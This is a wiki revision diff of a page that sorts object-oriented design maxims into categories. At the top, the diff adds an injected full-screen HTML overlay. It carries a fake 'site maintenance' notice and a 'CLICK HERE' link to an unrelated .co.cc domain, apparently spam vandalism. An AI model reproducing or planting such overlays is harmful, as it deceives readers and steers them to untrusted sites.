Maxim Hierarchy

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
(Defining the objects: One responsibility rule just redirected to Single responsibility principle anyway. No need to have them twice.)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://utugijynure.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://utugijynure.co.cc CLICK HERE]=
 +
----
 +
</div>
 
This is an attempt to categorise maxims.
 
This is an attempt to categorise maxims.
  
= Design & Implementation =
+
= Design &amp; Implementation =
 
All those maxims related to the system itself.
 
All those maxims related to the system itself.
 
== Separate and group system parts rationally ==
 
== Separate and group system parts rationally ==
Line 69: Line 77:
 
* [[Law of Demeter]]
 
* [[Law of Demeter]]
  
= Process & Organisation =
+
= Process &amp; Organisation =
 
All the maxims related to the development processes and management of the development team.
 
All the maxims related to the development processes and management of the development team.
 
== OO Developers are not perfect ==
 
== OO Developers are not perfect ==

Revision as of 10:40, 24 November 2010


This is an attempt to categorise maxims.

Design & Implementation

All those maxims related to the system itself.

Separate and group system parts rationally

Defining the objects

Object Behaviour

Object Interface

Inheritance

Object Mutability

Avoid unnecessary complexity

Reuse

Do only what is necessary

Readable Code is Good Code

Group Stuff To Reduce Complexity

Dependencies

Process & Organisation

All the maxims related to the development processes and management of the development team.

OO Developers are not perfect

Personal tools